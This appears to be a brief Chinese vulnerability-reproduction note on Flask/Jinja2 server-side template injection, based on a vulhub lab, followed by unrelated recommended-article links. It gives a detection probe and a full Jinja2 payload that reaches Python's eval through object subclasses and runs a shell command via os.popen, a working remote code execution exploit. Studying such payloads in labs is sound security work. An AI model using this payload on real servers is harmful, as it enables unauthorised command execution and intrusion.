Flask(Jinja2) 服务端模板注入漏洞(SSTI)

Flask(Jinja2) 服务端模板注入漏洞(SSTI)

参考 https://www.freebuf.com/articles/web/260504.html

验证漏洞存在 ?name={{7*7}}

回显49说明漏洞存在

vulhub给出的payload:

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
相关推荐
qq_3561969510 小时前
day27pipeline管道@浙大疏锦行
python
噔噔噔噔@10 小时前
第一章、基础理论——第一节、软件测试概述
python·单元测试·压力测试
冷雨夜中漫步10 小时前
AI入坑之路——(1)搭建本地的Python与Jupyter开发环境
人工智能·python·jupyter
CRUD酱10 小时前
RabbitMQ是如何确保消息的可靠性的?
java·python·rabbitmq
sivdead11 小时前
Agent平台消息节点输出设计思路
后端·python·agent
盼哥PyAI实验室11 小时前
【超详细教程】Python 连接 MySQL 全流程实战
python·mysql·oracle
棒棒的皮皮11 小时前
【OpenCV】Python图像处理之按位逻辑运算
图像处理·python·opencv·计算机视觉
北京耐用通信11 小时前
协议转换新标杆!耐达讯自动化Ethernet IP转CC-Link方案,让编码器‘说话‘更高效“
人工智能·物联网·网络协议·网络安全·自动化·信息与通信
拾贰_C11 小时前
【ML|DL |python|pytorch|】基础学习
pytorch·python·学习
橘子编程11 小时前
仓颉语言变量与表达式解析
java·linux·服务器·开发语言·数据库·python·mysql